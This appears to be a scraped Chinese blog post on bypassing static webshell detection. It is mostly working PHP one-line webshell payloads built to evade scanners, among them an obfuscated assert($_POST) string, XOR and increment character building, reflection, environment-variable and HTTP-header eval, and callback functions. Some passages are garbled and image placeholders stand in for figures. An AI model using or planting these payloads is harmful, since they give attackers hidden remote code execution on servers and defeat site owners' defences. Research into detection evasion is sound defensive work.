webshell静态检测的绕过

一句话木马原理:
webshell静态检测的绕过_第1张图片基于_POST,[]等的检测

base64编码:
$b = base64_encode(_POST);
echo $b;
echo<br/>;
echo base64_decode($b);

gzcompress压缩:
$c = gzcompress('_POST');
echo $c;
echo '
'
; echo gzuncompress($c); 注释: @${$__}[!$_](${$__}[$_]);@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); []可用{}替换

异或,或,取反,大同小异就演示异或吧

webshell静态检测的绕过_第2张图片下面这是运算原理的代码,比较鸡肋,可以去看看yu师傅的文章
https://blog.csdn.net/miuzzx/article/details/109143413


$z = 'A';
for($m=1;$m<127;$m++){
    for($n=1;$n<127;$n++){
        $a = chr($m);
        $b = chr($n);
        $c = ($a^$b);
        if ($c === $z){
            if(preg_match('/[A-Za-z0-9]/',$a)) {
                continue;
            }elseif(preg_match('/[A-Za-z0-9]/',$b)){
                continue;
            }else{
            echo '("'.urlencode($a).'"^"'.urlencode($b).'")';
            echo '
'
; } } } } ?>

自增

数组经过强行转化为字符串变为Array
取第一个字母A,然后运算,’A’++后会变成’B’,就可以获得所有字母然后通过字符串拼接的方式实现想要的代码
webshell静态检测的绕过_第3张图片

eval小坑

在PHP手册中提到eval:
因为是一个语言构造器而不是一个函数,不能被可变函数调用。
所以将eval赋给变量a的方式然后再 a ( ) ; 会 报 错 可 变 函 数 : 对 于 a();会报错 可变函数:对于 a();:a();形式PHP会查找与字符串a同名的函数并使用
webshell静态检测的绕过_第4张图片

assert

在PHP手册中对assert是这样说的:
assert() is a language construct in PHP 7
但是它却可以“作为”可变函数使用,但是会报错
webshell静态检测的绕过_第5张图片如果代码是
$a = ‘assert’;
a ( a( a(_POST[‘a’]);//a=system(‘whoami’);
这样就会报错,(除7.0版本),于是我翻了翻PHP手册是这样说的
In PHP 7, this may also be any expression that returns a value, which will be executed and the result used to indicate whether the assertion succeeded or failed.
大概意思就是任何返回值的表达式,该值将被执行
但是传参过去的是字符串就不能执行

webshell绕过

某些函数:

mb_ereg_replace 、 mb_eregi_replace
例如:
mb_eregi_replace(’.*’,$_GET[1],’’,‘e’);
ps:注意PHP版本

函数重命名

use function assert as test;

test($_POST[‘a’]);

反射ReflectionFunction类

ReflectionFunction类,看看PHP手册invokeArgs的方法解释
The passed arguments to the function as an array, much like call_user_func_array() works.
就是说m是函数,c是传入的参数,然后执行这个函数

在这里插入图片描述

文件名,类名,方法名

大同小异,就演示一个吧
截取文件名,最好是从最后开始吧,因为上传了你不知道路径,,,
限于上传文件系统未重命名的情况
webshell静态检测的绕过_第6张图片

基于污染传播

putenv($_GET[“c”]);eval(getenv(‘path’));
等等
putenv — 设置环境变量的值
getenv — 获得环境变量的值
webshell静态检测的绕过_第7张图片

引用传值

function aaa(&$var){
    $var = $_POST['a'];

}
$a = "";
aaa($a);
eval($a);

webshell静态检测的绕过_第8张图片

HTTP头

$a = $_GET[‘a’];
var_dump(getallheaders());
eval(getenv(‘HTTP_E’));
webshell静态检测的绕过_第9张图片

回调函数

回调函数祖师爷call_user_func();就不说了,D盾能测出来,就说说其他的

$a = $_REQUEST['a'];
register_shutdown_function($a,$_REQUEST['aaa']);

你可能感兴趣的:(web学习,安全)